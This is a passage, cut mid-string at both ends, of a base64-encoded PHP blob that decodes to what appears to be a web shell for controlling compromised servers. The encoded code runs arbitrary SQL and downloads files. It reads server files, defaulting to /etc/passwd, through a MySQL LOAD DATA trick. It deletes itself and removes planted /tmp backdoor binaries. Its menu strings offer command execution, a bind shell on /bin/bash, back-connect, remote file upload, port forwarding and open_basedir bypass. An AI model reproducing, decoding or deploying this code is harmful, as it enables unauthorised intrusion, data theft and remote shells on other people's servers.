Nhc2UgJ09yYWNsZSc6DQogICAgICAkdGhpcy0+ZHVtcFswXSA9ICcjIyBPUkFDTEUgZHVtcCc7DQogICAgICAkdGhpcy0+ZHVtcFtdICA9ICcjIyB1bmRlciBjb25zdHJ1Y3Rpb24nOw0KICAgIGJyZWFrOw0KICAgIGRlZmF1bHQ6DQogICAgIHJldHVybiAwOw0KICAgIGJyZWFrOw0KICAgIH0NCiAgIHJldHVybiAxOw0KICB9DQogZnVuY3Rpb24gY2xvc2UoKQ0KICB7DQogICBzd2l0Y2goJHRoaXMtPmRiKQ0KICAgIHsNCiAgCWNhc2UgJ015U1FMJzoNCiAgCSBAbXlzcWxfY2xvc2UoJHRoaXMtPmNvbm5lY3Rpb24pOw0KICAgIGJyZWFrOw0KICAgIGNhc2UgJ01TU1FMJzoNCiAgICAgQG1zc3FsX2Nsb3NlKCR0aGlzLT5jb25uZWN0aW9uKTsNCiAgICBicmVhazsNCiAgICBjYXNlICdQb3N0Z3JlU1FMJzoNCiAgICAgQHBnX2Nsb3NlKCR0aGlzLT5jb25uZWN0aW9uKTsNCiAgICBicmVhazsNCiAgICBjYXNlICdPcmFjbGUnOg0KICAgICBAb2NpX2Nsb3NlKCR0aGlzLT5jb25uZWN0aW9uKTsNCiAgICBicmVhazsNCiAgICB9DQogIH0NCiBmdW5jdGlvbiBhZmZlY3RlZF9yb3dzKCkNCiAgew0KICAgc3dpdGNoKCR0aGlzLT5kYikNCiAgICB7DQogIAljYXNlICdNeVNRTCc6DQogIAkgcmV0dXJuIEBteXNxbF9hZmZlY3RlZF9yb3dzKCR0aGlzLT5yZXMpOw0KICAgIGJyZWFrOw0KICAgIGNhc2UgJ01TU1FMJzoNCiAgICAgcmV0dXJuIEBtc3NxbF9hZmZlY3RlZF9yb3dzKCR0aGlzLT5yZXMpOw0KICAgIGJyZWFrOw0KICAgIGNhc2UgJ1Bvc3RncmVTUUwnOg0KICAgICByZXR1cm4gQHBnX2FmZmVjdGVkX3Jvd3MoJHRoaXMtPnJlcyk7DQogICAgYnJlYWs7DQogICAgY2FzZSAnT3JhY2xlJzoNCiAgICAgcmV0dXJuIEBvY2lyb3djb3VudCgkdGhpcy0+cmVzKTsNCiAgICBicmVhazsNCiAgICBkZWZhdWx0Og0KICAgICByZXR1cm4gMDsNCiAgICBicmVhazsNCiAgICB9DQogIH0NCiB9DQppZighZW1wdHkoJF9QT1NUWydjbWQnXSkgJiYgJF9QT1NUWydjbWQnXT09ImRvd25sb2FkX2ZpbGUiICYmICFlbXB0eSgkX1BPU1RbJ2RfbmFtZSddKSkNCiB7DQogIGlmKCEkZmlsZT1AZm9wZW4oJF9QT1NUWydkX25hbWUnXSwiciIpKSB7IGVycigxLCRfUE9TVFsnZF9uYW1lJ10pOyAkX1BPU1RbJ2NtZCddPSIiOyB9DQogIGVsc2UNCiAgIHsNCiAgICBAb2JfY2xlYW4oKTsNCiAgICAkZmlsZW5hbWUgPSBAYmFzZW5hbWUoJF9QT1NUWydkX25hbWUnXSk7DQogICAgJGZpbGVkdW1wID0gQGZyZWFkKCRmaWxlLEBmaWxlc2l6ZSgkX1BPU1RbJ2RfbmFtZSddKSk7DQogICAgZmNsb3NlKCRmaWxlKTsNCiAgICAkY29udGVudF9lbmNvZGluZz0kbWltZV90eXBlPScnOw0KICAgIGNvbXByZXNzKCRmaWxlbmFtZSwkZmlsZWR1bXAsJF9QT1NUWydjb21wcmVzcyddKTsNCiAgICBpZiAoIWVtcHR5KCRjb250ZW50X2VuY29kaW5nKSkgeyBoZWFkZXIoJ0NvbnRlbnQtRW5jb2Rpbmc6ICcgLiAkY29udGVudF9lbmNvZGluZyk7IH0NCiAgICBoZWFkZXIoIkNvbnRlbnQtdHlwZTogIi4kbWltZV90eXBlKTsNCiAgICBoZWFkZXIoIkNvbnRlbnQtZGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPVwiIi4kZmlsZW5hbWUuIlwiOyIpOw0KICAgIGVjaG8gJGZpbGVkdW1wOw0KICAgIGV4aXQoKTsNCiAgIH0NCiB9DQppZihpc3NldCgkX0dFVFsncGhwaW5mbyddKSkgeyBlY2hvIEBwaHBpbmZvKCk7IGVjaG8gIjxicj48ZGl2IGFsaWduPWNlbnRlcj48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48Yj5bIDxhIGhyZWY9Ii4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iPkJBQ0s8L2E+IF08L2I+PC9mb250PjwvZGl2PiI7IGRpZSgpOyB9DQppZiAoIWVtcHR5KCRfUE9TVFsnY21kJ10pICYmICRfUE9TVFsnY21kJ109PSJkYl9xdWVyeSIpDQogew0KIGVjaG8gJGhlYWQ7DQogJHNxbCA9IG5ldyBteV9zcWwoKTsNCiAkc3FsLT5kYiAgID0gJF9QT1NUWydkYiddOw0KICRzcWwtPmhvc3QgPSAkX1BPU1RbJ2RiX3NlcnZlciddOw0KICRzcWwtPnBvcnQgPSAkX1BPU1RbJ2RiX3BvcnQnXTsNCiAkc3FsLT51c2VyID0gJF9QT1NUWydteXNxbF9sJ107DQogJHNxbC0+cGFzcyA9ICRfUE9TVFsnbXlzcWxfcCddOw0KICRzcWwtPmJhc2UgPSAkX1BPU1RbJ215c3FsX2RiJ107DQogJHF1ZXJ5cyA9IEBleHBsb2RlKCc7JywkX1BPU1RbJ2RiX3F1ZXJ5J10pOw0KIGVjaG8gJzxib2R5IGJnY29sb3I9QmxhY2s+JzsNCiBpZighJHNxbC0+Y29ubmVjdCgpKSBlY2hvICI8ZGl2IGFsaWduPWNlbnRlcj48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMiBjb2xvcj1XaGl0ZT48Yj5DYW4ndCBjb25uZWN0IHRvIFNRTCBzZXJ2ZXI8L2I+PC9mb250PjwvZGl2PiI7DQogIGVsc2UNCiAgIHsNCiAgIGlmKCFlbXB0eSgkc3FsLT5iYXNlKSYmISRzcWwtPnNlbGVjdF9kYigpKSBlY2hvICI8ZGl2IGFsaWduPWNlbnRlcj48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMiBjb2xvcj1XaGl0ZT48Yj5DYW4ndCBzZWxlY3QgZGF0YWJhc2U8L2I+PC9mb250PjwvZGl2PiI7DQogICBlbHNlDQogICAgew0KICAgIGZvcmVhY2goJHF1ZXJ5cyBhcyAkbnVtPT4kcXVlcnkpDQogICAgIHsNCiAgICAgIGlmKHN0cmxlbigkcXVlcnkpPjUpDQogICAgICB7DQogICAgICBlY2hvICI8Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMiBjb2xvcj1XaGl0ZT48Yj5RdWVyeSMiLiRudW0uIiA6ICIuaHRtbHNwZWNpYWxjaGFycygkcXVlcnksRU5UX1FVT1RFUykuIjwvYj48L2ZvbnQ+PGJyPiI7DQogICAgICBzd2l0Y2goJHNxbC0+cXVlcnkoJHF1ZXJ5KSkNCiAgICAgICB7DQogICAgICAgY2FzZSAnMCc6DQogICAgICAgZWNobyAiPHRhYmxlIHdpZHRoPTEwMCU+PHRyPjx0ZCBjbGFzcz1tYWluPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPkVycm9yIDogPGI+Ii4kc3FsLT5lcnJvci4iPC9iPjwvZm9udD48L3RkPjwvdHI+PC90YWJsZT4iOw0KICAgICAgIGJyZWFrOw0KICAgICAgIGNhc2UgJzEnOg0KICAgICAgIGlmKCRzcWwtPmdldF9yZXN1bHQoKSkNCiAgICAgICAgew0KICAgICAgIAllY2hvICI8dGFibGUgd2lkdGg9MTAwJSBib3JkZXI9MCBjZWxscGFkZGluZz0wIGNlbGxzcGFjaW5nPTA+IjsNCiAgICAgICAgZm9yZWFjaCgkc3FsLT5jb2x1bW5zIGFzICRrPT4kdikgJHNxbC0+Y29sdW1uc1ska10gPSBodG1sc3BlY2lhbGNoYXJzKCR2LEVOVF9RVU9URVMpOw0KICAgICAgIAkka2V5cyA9IEBpbXBsb2RlKCImbmJzcDs8L2I+PC9mb250PjwvdGQ+PHRkIGNsYXNzPW1haW4+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGI+Jm5ic3A7IiwgJHNxbC0+Y29sdW1ucyk7DQogICAgICAgIGVjaG8gIjx0cj48dGQgY2xhc3M9bWFpbiBiZ2NvbG9yPVdoaXRlPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPiZuYnNwOyIuJGtleXMuIiZuYnNwOzwvYj48L2ZvbnQ+PC90ZD48L3RyPiI7DQogICAgICAgIGZvcigkaT0wOyRpPCRzcWwtPm51bV9yb3dzOyRpKyspDQogICAgICAgICB7DQogICAgICAgICBmb3JlYWNoKCRzcWwtPnJvd3NbJGldIGFzICRrPT4kdikgJHNxbC0+cm93c1skaV1bJGtdID0gaHRtbHNwZWNpYWxjaGFycygkdixFTlRfUVVPVEVTKTsNCiAgICAgICAgICR2YWx1ZXMgPSBAaW1wbG9kZSgiJm5ic3A7PC9mb250PjwvdGQ+PHRkIGNsYXNzPW1haW4+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+Jm5ic3A7Iiwkc3FsLT5yb3dzWyRpXSk7DQogICAgICAgICBlY2hvICc8dHI+PHRkIGNsYXNzPW1haW4+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+Jm5ic3A7Jy4kdmFsdWVzLicmbmJzcDs8L2ZvbnQ+PC90ZD48L3RyPic7DQogICAgICAgICB9DQogICAgICAgIGVjaG8gIjwvdGFibGU+IjsNCiAgICAgICAgfQ0KICAgICAgIGJyZWFrOw0KICAgICAgIGNhc2UgJzInOg0KICAgICAgICRhciA9ICRzcWwtPmFmZmVjdGVkX3Jvd3MoKT8oJHNxbC0+YWZmZWN0ZWRfcm93cygpKTooJzAnKTsNCiAgICAgICBlY2hvICI8dGFibGUgd2lkdGg9MTAwJT48dHI+PHRkIGNsYXNzPW1haW4+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+YWZmZWN0ZWQgcm93cyA6IDxiPiIuJGFyLiI8L2I+PC9mb250PjwvdGQ+PC90cj48L3RhYmxlPjxicj4iOw0KICAgICAgIGJyZWFrOw0KICAgICAgIH0NCiAgICAgIH0NCiAgICAgfQ0KICAgIH0NCiAgICBlY2hvICI8YnI+PGRpdiBhbGlnbj1sZWZ0IGlkPSduJz48dGFibGUgd2lkdGg9MTAwJSBoZWlnaHQ9NjAgYm9yZGVyPTAgY2VsbHBhZGRpbmc9MCBjZWxsc3BhY2luZz0wPiI7DQogICAgZWNobyAiPHRyPjx0ZCBhbGlnbj1jZW50ZXI+PGI+U2hvdyBEYXRhYmFzZTwvYj48L3RkPjx0ZCBhbGlnbj1jZW50ZXI+PGI+U2hvdyBUYWJsZXM8L2I+PC90ZD48L3RyPiI7DQogICAgZWNobyAiPHRyPjx0ZD48dGV4dGFyZWEgY29scz01MCByb3dzPTYgbmFtZT1xdWVyeV9kYj4iOw0KICAgICRxdWVyeV9kYiA9IG15c3FsX3F1ZXJ5KCJTSE9XIERBVEFCQVNFUzsiKTsNCiAgICB3aGlsZSAoJHF1ZXJ5X2RiX3JvdyA9IG15c3FsX2ZldGNoX2FycmF5KCRxdWVyeV9kYikpDQogICAgew0KICAgIAllY2hvICRxdWVyeV9kYl9yb3dbMF0uIlxuIjsNCiAgICB9DQogICAgZWNobyAiPC90ZXh0YXJlYT48L3RkPjx0ZD48ZGl2IGFsaWduPXJpZ2h0Pjx0ZXh0YXJlYSBjb2xzPTYwIHJvd3M9NiBuYW1lPXF1ZXJ5X3RhYmxlcz4iOw0KICAgIGlmICgoJF9QT1NUWydteXNxbF9kYiddKSAmJiAkc3FsLT5zZWxlY3RfZGIoKSkNCiAgICB7DQogICAgICRxdWVyeV90YWJsZXMgPSBteXNxbF9xdWVyeSgiU0hPVyBUQUJMRVM7Iik7DQogICAgIHdoaWxlICgkcXVlcnlfdGFibGVzX3JvdyA9IG15c3FsX2ZldGNoX2FycmF5KCRxdWVyeV90YWJsZXMpKQ0KICAgICB7DQogICAgIAllY2hvICRxdWVyeV90YWJsZXNfcm93WzBdLiJcbiI7DQogICAgIH0NCiAgICB9DQogICAgZWNobyAiPC90ZXh0YXJlYT48L2Rpdj48L3RkPjwvdHI+PC90YWJsZT48L2Rpdj4iOw0KICAgfQ0KIGVjaG8gIjxicj48Zm9ybSBuYW1lPWZvcm0gbWV0aG9kPVBPU1Q+IjsNCiBlY2hvIGluKCdoaWRkZW4nLCdkYicsMCwkX1BPU1RbJ2RiJ10pOw0KIGVjaG8gaW4oJ2hpZGRlbicsJ2RiX3NlcnZlcicsMCwkX1BPU1RbJ2RiX3NlcnZlciddKTsNCiBlY2hvIGluKCdoaWRkZW4nLCdkYl9wb3J0JywwLCRfUE9TVFsnZGJfcG9ydCddKTsNCiBlY2hvIGluKCdoaWRkZW4nLCdteXNxbF9sJywwLCRfUE9TVFsnbXlzcWxfbCddKTsNCiBlY2hvIGluKCdoaWRkZW4nLCdteXNxbF9wJywwLCRfUE9TVFsnbXlzcWxfcCddKTsNCiBlY2hvIGluKCdoaWRkZW4nLCdteXNxbF9kYicsMCwkX1BPU1RbJ215c3FsX2RiJ10pOw0KIGVjaG8gaW4oJ2hpZGRlbicsJ2NtZCcsMCwnZGJfcXVlcnknKTsNCiBlY2hvICI8ZGl2IGFsaWduPWNlbnRlcj4iOw0KIGVjaG8gIjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPlVzZSBkYXRhYmFzZTogPC9iPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1teXNxbF9kYiB2YWx1ZT1cIiIuJHNxbC0+YmFzZS4iXCI+PC9mb250Pjxicj4iOw0KIGVjaG8gIjx0ZXh0YXJlYSBjb2xzPTY1IHJvd3M9MTAgbmFtZT1kYl9xdWVyeT4iLighZW1wdHkoJF9QT1NUWydkYl9xdWVyeSddKT8oJF9QT1NUWydkYl9xdWVyeSddKTooIlNIT1cgREFUQUJBU0VTOyIpKS4iPC90ZXh0YXJlYT48YnI+PGlucHV0IHR5cGU9c3VibWl0IG5hbWU9c3VibWl0IHZhbHVlPVwiIFJ1biBTUUwgcXVlcnkgXCI+PC9kaXY+PGJyPjxicj4iOw0KIGVjaG8gIjxkaXYgYWxpZ249Y2VudGVyPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPkxvYWQgZmlsZTogPC9iPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1sb2FkZmlsZSBzaXplPTEwMCB2YWx1ZT0iLighZW1wdHkoJF9QT1NUWydsb2FkZmlsZSddKT8oJF9QT1NUWydsb2FkZmlsZSddKTooIi9ldGMvcGFzc3dkIikpLiI+Ii53cygyKS4iPGlucHV0IHR5cGU9c3VibWl0IG5hbWU9c3VibWl0IHZhbHVlPVwiIExvYWQgXCI+PGJyIC8+PGJyIC8+IjsNCiBlY2hvICI8Yj5GaWxlIGNvbnRlbnQ8L2I+PGJyPjxicj4iOw0KIGVjaG8gIjx0ZXh0YXJlYSBjb2xzPTEyMSByb3dzPTE1IG5hbWU9c2hvd2xvYWRmaWxlPiI7DQogQG15c3FsX3F1ZXJ5KCJEUk9QIFRBQkxFIElGIEVYSVNUUyBBbHVjYXIiKTsNCiBAbXlzcWxfcXVlcnkoIkNSRUFURSBUQUJMRSBgQWx1Y2FyYCAoIGBmaWxlYCBMT05HQkxPQiBOT1QgTlVMTCApIik7DQogQG15c3FsX3F1ZXJ5KCJMT0FEIERBVEEgTE9DQUwgSU5GSUxFIFwiIi5zdHJfcmVwbGFjZSgnXFwnLCcvJywkX1BPU1RbJ2xvYWRmaWxlJ10pLiJcIiBJTlRPIFRBQkxFIEFsdWNhciBGSUVMRFMgVEVSTUlOQVRFRCBCWSAnJyBFU0NBUEVEIEJZICcnIExJTkVTIFRFUk1JTkFURUQgQlkgJ1xuJyIpOw0KICRyID0gQG15c3FsX3F1ZXJ5KCJTRUxFQ1QgKiBGUk9NIEFsdWNhciIpOw0KIHdoaWxlKCgkcl9zcWwgPSBAbXlzcWxfZmV0Y2hfYXJyYXkoJHIpKSkgeyBlY2hvIEBodG1sc3BlY2lhbGNoYXJzKCRyX3NxbFswXSk7IH0NCiBAbXlzcWxfcXVlcnkoIkRST1AgVEFCTEUgSUYgRVhJU1RTIEFsdWNhciIpOw0KIGVjaG8gIjwvdGV4dGFyZWE+PC9kaXY+IjsNCiBlY2hvICI8L2Zvcm0+IjsNCiBlY2hvICI8YnI+PGRpdiBhbGlnbj1jZW50ZXI+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGI+WyA8YSBocmVmPSIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj5CQUNLPC9hPiBdPC9iPjwvZm9udD48L2Rpdj4iOyBkaWUoKTsNCiB9DQppZihpc3NldCgkX0dFVFsnZGVsZXRlJ10pKQ0KIHsNCiAgIEB1bmxpbmsoX19GSUxFX18pOw0KIH0NCmlmKGlzc2V0KCRfR0VUWyd0bXAnXSkpDQogew0KICAgQHVubGluaygiL3RtcC9iZHBsIik7DQogICBAdW5saW5rKCIvdG1wL2JhY2siKTsNCiAgIEB1bmxpbmsoIi90bXAvYmQiKTsNCiAgIEB1bmxpbmsoIi90bXAvYmQuYyIpOw0KICAgQHVubGluaygiL3RtcC9kcCIpOw0KICAgQHVubGluaygiL3RtcC9kcGMiKTsNCiAgIEB1bmxpbmsoIi90bXAvZHBjLmMiKTsNCiB9DQppZihpc3NldCgkX0dFVFsncGhwaW5pJ10pKQ0Kew0KZWNobyAkaGVhZDsNCmZ1bmN0aW9uIFVfdmFsdWUoJHZhbHVlKQ0KIHsNCiBpZiAoJHZhbHVlID09ICcnKSByZXR1cm4gJzxpPm5vIHZhbHVlPC9pPic7DQogaWYgKEBpc19ib29sKCR2YWx1ZSkpIHJldHVybiAkdmFsdWUgPyAnVFJVRScgOiAnRkFMU0UnOw0KIGlmICgkdmFsdWUgPT09IG51bGwpIHJldHVybiAnTlVMTCc7DQogaWYgKEBpc19vYmplY3QoJHZhbHVlKSkgJHZhbHVlID0gKGFycmF5KSAkdmFsdWU7DQogaWYgKEBpc19hcnJheSgkdmFsdWUpKQ0KIHsNCiBAb2Jfc3RhcnQoKTsNCiBwcmludF9yKCR2YWx1ZSk7DQogJHZhbHVlID0gQG9iX2dldF9jb250ZW50cygpOw0KIEBvYl9lbmRfY2xlYW4oKTsNCiB9DQogcmV0dXJuIFVfd29yZHdyYXAoKHN0cmluZykgJHZhbHVlKTsNCiB9DQpmdW5jdGlvbiBVX3dvcmR3cmFwKCRzdHIpDQogew0KICRzdHIgPSBAd29yZHdyYXAoQGh0bWxzcGVjaWFsY2hhcnMoJHN0ciksIDEwMCwgJzx3YnIgLz4nLCB0cnVlKTsNCiByZXR1cm4gQHByZWdfcmVwbGFjZSgnISgmW147XSopPHdiciAvPihbXjtdKjspIScsICckMSQyPHdiciAvPicsICRzdHIpOw0KIH0NCmlmIChAZnVuY3Rpb25fZXhpc3RzKCdpbmlfZ2V0X2FsbCcpKQ0KIHsNCiAkciA9ICcnOw0KIGVjaG8gJzx0YWJsZSB3aWR0aD0xMDAlPicsICc8dHI+PHRkIGNsYXNzPW1haW4gYmdjb2xvcj0jODNjODA5Pjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yIGNvbG9yPVdoaXRlPjxkaXYgYWxpZ249Y2VudGVyPjxiPkRpcmVjdGl2ZTwvYj48L2Rpdj48L2ZvbnQ+PC90ZD48dGQgY2xhc3M9bWFpbiBiZ2NvbG9yPSM4M2M4MDk+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTIgY29sb3I9V2hpdGU+PGRpdiBhbGlnbj1jZW50ZXI+PGI+TG9jYWwgVmFsdWU8L2I+PC9kaXY+PC9mb250PjwvdGQ+PHRkIGNsYXNzPW1haW4gYmdjb2xvcj0jODNjODA5Pjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yIGNvbG9yPVdoaXRlPjxkaXYgYWxpZ249Y2VudGVyPjxiPk1hc3RlciBWYWx1ZTwvYj48L2Rpdj48L2ZvbnQ+PC90ZD48L3RyPic7DQogZm9yZWFjaCAoQGluaV9nZXRfYWxsKCkgYXMgJGtleT0+JHZhbHVlKQ0KICB7DQogICRyIC49ICc8dHI+PHRkIGNsYXNzPW1haW4+Jy53cygzKS4nPGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGI+Jy4ka2V5Lic8L2I+PC9mb250PjwvdGQ+PHRkIGNsYXNzPW1haW4+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGRpdiBhbGlnbj1jZW50ZXI+PGI+Jy5VX3ZhbHVlKCR2YWx1ZVsnbG9jYWxfdmFsdWUnXSkuJzwvYj48L2Rpdj48L2ZvbnQ+PC90ZD48dGQgY2xhc3M9bWFpbj48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48ZGl2IGFsaWduPWNlbnRlcj48Yj4nLlVfdmFsdWUoJHZhbHVlWydnbG9iYWxfdmFsdWUnXSkuJzwvYj48L2Rpdj48L2ZvbnQ+PC90ZD48L3RyPic7DQogIH0NCiBlY2hvICRyOw0KIGVjaG8gJzwvdGFibGU+JzsNCiB9DQplY2hvICI8YnI+PGRpdiBhbGlnbj1jZW50ZXI+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGI+WyA8YSBocmVmPSIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj5CQUNLPC9hPiBdPC9iPjwvZm9udD48L2Rpdj4iOw0KZGllKCk7DQp9DQppZihpc3NldCgkX0dFVFsnY3B1J10pKQ0KIHsNCiAgIGVjaG8gJGhlYWQ7DQogICBlY2hvICc8dGFibGUgd2lkdGg9MTAwJT48dHI+PHRkIGNsYXNzPW1haW4gYmdjb2xvcj1CbGFjaz48ZGl2IGFsaWduPWNlbnRlcj48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMiBjb2xvcj1XaGl0ZT48Yj5DUFU8L2I+PC9mb250PjwvZGl2PjwvdGQ+PC90cj48L3RhYmxlPjx0YWJsZSB3aWR0aD0xMDAlPic7DQogICAkY3B1ZiA9IEBmaWxlKCJjcHVpbmZvIik7DQogICBpZigkY3B1ZikNCiAgICB7DQogICAgICAkYyA9IEBzaXplb2YoJGNwdWYpOw0KICAgICAgZm9yKCRpPTA7JGk8JGM7JGkrKykNCiAgICAgICAgew0KICAgICAgICAgICRpbmZvID0gQGV4cGxvZGUoIjoiLCRjcHVmWyRpXSk7DQogICAgICAgICAgaWYoJGluZm9bMV09PSIiKXsgJGluZm9bMV09Ii0tLSI7IH0NCiAgICAgICAgICAkciAuPSAnPHRyPjx0ZCBjbGFzcz1tYWluPicud3MoMykuJzxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPicudHJpbSgkaW5mb1swXSkuJzwvYj48L2ZvbnQ+PC90ZD48dGQgY2xhc3M9bWFpbj48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48ZGl2IGFsaWduPWNlbnRlcj48Yj4nLnRyaW0oJGluZm9bMV0pLic8L2I+PC9kaXY+PC9mb250PjwvdGQ+PC90cj4nOw0KICAgICAgICB9DQogICAgICBlY2hvICRyOw0KICAgIH0NCiAgIGVsc2UNCiAgICB7DQogICAgICBlY2hvICc8dHI+PHRkIGNsYXNzPW1haW4+Jy53cygzKS4nPGRpdiBhbGlnbj1jZW50ZXI+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGI+IC0tLSA8L2I+PC9mb250PjwvZGl2PjwvdGQ+PC90cj4nOw0KICAgIH0NCiAgIGVjaG8gJzwvdGFibGU+JzsNCiAgIGVjaG8gIjxicj48ZGl2IGFsaWduPWNlbnRlcj48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48Yj5bIDxhIGhyZWY9Ii4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iPkJBQ0s8L2E+IF08L2I+PC9mb250PjwvZGl2PiI7DQogICBkaWUoKTsNCiB9DQppZihpc3NldCgkX0dFVFsnbWVtJ10pKQ0KIHsNCiAgIGVjaG8gJGhlYWQ7DQogICBlY2hvICc8dGFibGUgd2lkdGg9MTAwJT48dHI+PHRkIGNsYXNzPW1haW4gYmdjb2xvcj1CbGFjaz48ZGl2IGFsaWduPWNlbnRlcj48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMiBjb2xvcj1XaGl0ZT48Yj5NRU1PUlk8L2I+PC9mb250PjwvZGl2PjwvdGQ+PC90cj48L3RhYmxlPjx0YWJsZSB3aWR0aD0xMDAlPic7DQogICAkbWVtZiA9IEBmaWxlKCJtZW1pbmZvIik7DQogICBpZigkbWVtZikNCiAgICB7DQogICAgICAkYyA9IHNpemVvZigkbWVtZik7DQogICAgICBmb3IoJGk9MDskaTwkYzskaSsrKQ0KICAgICAgICB7DQogICAgICAgICAgJGluZm8gPSBleHBsb2RlKCI6IiwkbWVtZlskaV0pOw0KICAgICAgICAgIGlmKCRpbmZvWzFdPT0iIil7ICRpbmZvWzFdPSItLS0iOyB9DQogICAgICAgICAgJHIgLj0gJzx0cj48dGQgY2xhc3M9bWFpbj4nLndzKDMpLic8Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48Yj4nLnRyaW0oJGluZm9bMF0pLic8L2I+PC9mb250PjwvdGQ+PHRkIGNsYXNzPW1haW4+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGRpdiBhbGlnbj1jZW50ZXI+PGI+Jy50cmltKCRpbmZvWzFdKS4nPC9iPjwvZGl2PjwvZm9udD48L3RkPjwvdHI+JzsNCiAgICAgICAgfQ0KICAgICAgZWNobyAkcjsNCiAgICB9DQogICBlbHNlDQogICAgew0KICAgICAgZWNobyAnPHRyPjx0ZCBjbGFzcz1tYWluPicud3MoMykuJzxkaXYgYWxpZ249Y2VudGVyPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPiAtLS0gPC9iPjwvZm9udD48L2Rpdj48L3RkPjwvdHI+JzsNCiAgICB9DQogICBlY2hvICc8L3RhYmxlPic7DQogICBlY2hvICI8YnI+PGRpdiBhbGlnbj1jZW50ZXI+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGI+WyA8YSBocmVmPSIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj5CQUNLPC9hPiBdPC9iPjwvZm9udD48L2Rpdj4iOw0KICAgZGllKCk7DQogfQ0KJGxhbmc9YXJyYXkoDQovKiAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0gKi8NCidlbmdfdGV4dDEnID0+J0V4ZWN1dGVkIGNvbW1hbmQnLA0KJ2VuZ190ZXh0MicgPT4nRXhlY3V0ZSBjb21tYW5kIG9uIHNlcnZlcicsDQonZW5nX3RleHQzJyA9PidSdW4gY29tbWFuZCcsDQonZW5nX3RleHQ0JyA9PidXb3JrIGRpcmVjdG9yeScsDQonZW5nX3RleHQ1JyA9PidVcGxvYWQgZmlsZXMgb24gc2VydmVyJywNCidlbmdfdGV4dDYnID0+J0xvY2FsIGZpbGUnLA0KJ2VuZ190ZXh0NycgPT4nQWxpYXNlcycsDQonZW5nX3RleHQ4JyA9PidTZWxlY3QgYWxpYXMnLA0KJ2VuZ19idXR0MScgPT4nRXhlY3V0ZScsDQonZW5nX2J1dHQyJyA9PidVcGxvYWQnLA0KJ2VuZ190ZXh0OScgPT4nQmluZCBwb3J0IHRvIC9iaW4vYmFzaCcsDQonZW5nX3RleHQxMCc9PidQb3J0JywNCidlbmdfdGV4dDExJz0+J1Bhc3N3b3JkIGZvciBhY2Nlc3MnLA0KJ2VuZ19idXR0MycgPT4nQmluZCcsDQonZW5nX3RleHQxMic9PidiYWNrLWNvbm5lY3QnLA0KJ2VuZ190ZXh0MTMnPT4nSVAnLA0KJ2VuZ190ZXh0MTQnPT4nUG9ydCcsDQonZW5nX2J1dHQ0JyA9PidDb25uZWN0JywNCidlbmdfdGV4dDE1Jz0+J1VwbG9hZCBmaWxlcyBmcm9tIHJlbW90ZSBzZXJ2ZXInLA0KJ2VuZ190ZXh0MTYnPT4nV2l0aCcsDQonZW5nX3RleHQxNyc9PidSZW1vdGUgZmlsZScsDQonZW5nX3RleHQxOCc9PidMb2NhbCBmaWxlJywNCidlbmdfdGV4dDE5Jz0+J0V4cGxvaXRzJywNCidlbmdfdGV4dDIwJz0+J1VzZScsDQonZW5nX3RleHQyMSc9PicmbmJzcDtOZXcgbmFtZScsDQonZW5nX3RleHQyMic9PidkYXRhcGlwZScsDQonZW5nX3RleHQyMyc9PidMb2NhbCBwb3J0JywNCidlbmdfdGV4dDI0Jz0+J1JlbW90ZSBob3N0JywNCidlbmdfdGV4dDI1Jz0+J1JlbW90ZSBwb3J0JywNCidlbmdfdGV4dDI2Jz0+J1VzZScsDQonZW5nX2J1dHQ1JyA9PidSdW4nLA0KJ2VuZ190ZXh0MjgnPT4nV29yayBpbiBzYWZlX21vZGUnLA0KJ2VuZ190ZXh0MjknPT4nQUNDRVNTIERFTklFRCcsDQonZW5nX2J1dHQ2JyA9PidDaGFuZ2UnLA0KJ2VuZ190ZXh0MzAnPT4nQ2F0IGZpbGUnLA0KJ2VuZ19idXR0NycgPT4nU2hvdycsDQonZW5nX3RleHQzMSc9PidGaWxlIG5vdCBmb3VuZCcsDQonZW5nX3RleHQzMic9PidFdmFsIFBIUCBjb2RlJywNCidlbmdfdGV4dDMzJz0+J1Rlc3QgYnlwYXNzIG9wZW5fYmFzZWRpciB3aXRoIG